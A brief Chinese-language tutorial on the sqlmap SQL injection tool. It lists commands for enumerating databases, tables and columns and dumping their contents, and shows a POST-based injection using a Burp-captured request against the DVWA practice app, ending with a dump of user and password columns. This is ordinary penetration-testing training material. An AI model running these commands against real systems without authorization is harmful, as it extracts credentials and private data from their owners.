sqlmap的简单语法应用与实战操作
利用sqlmap注入
原理
一种开源的渗透测试工具,可以自动检测和利用 Sql 注入漏洞以及接入该数据库的服务器。
它拥有非常强大的检测引擎、具有多种特性的渗透测试器、通过数据库指纹提取访问底层文件系统并通过外带连接执行命令,使用 Sqlmap 工具将极大的简化我们的测试工作量。
Sqlmap 是一个自动化的 SQL 注入工具,其主要功能是扫描、发现并利用给定的 Url 的 Sql 注入漏洞。
接下来是语法:
sqlmap.py -u [" “] --dbs 查询所有的数据库名
sqlmap.py -u [” “] --current-db 查询所在数据库名
sqlmap.py -u [” “] --current-user 获取当前用户名称
sqlmap.py -u [” “] -D [‘数据库名’] --tables 列出表名
sqlmap.py -u [” “] -D [‘数据库名’] -T [‘表名’] --columns 列出(列名)字段
sqlmap.py -u [” "] -D [‘数据库名’] -T [‘表名’] -C [‘字段名1’,’…’] --dump 获取字段内容
另外一种拓展变形:
用sqlmap跑post型注入:
语法:
sqlmap.py -r c:\python\1.txt
首先,开burp截包。
输入1,提交。
可以看见,burp已经把id获取到了
copy to file,保存为txt文件。
例如:
用sqlmap跑post型注入:
语法:
sqlmap.py -r c:\python\1.txt
可以看到,存在的注入类型(布尔盲注和时间盲注)和payload和数据库类型和版本都给你报出来了。
然后接下来的方式就跟跑GET的方法基本一致。
接下来是演示:
接上面的爆出的注入类型继续:
爆数据库名:
sqlmap.py -r c:\Python27\1.txt --current-db爆表名:sqlmap.py -r c:\Python27\1.txt -D dvwa --tables
爆字段(列名):sqlmap.py -r c:\Python27\1.txt -D dvwa -T users --columns
爆数据:sqlmap.py -r c:\Python27\1.txt -D dvwa -T users -C user,password --dump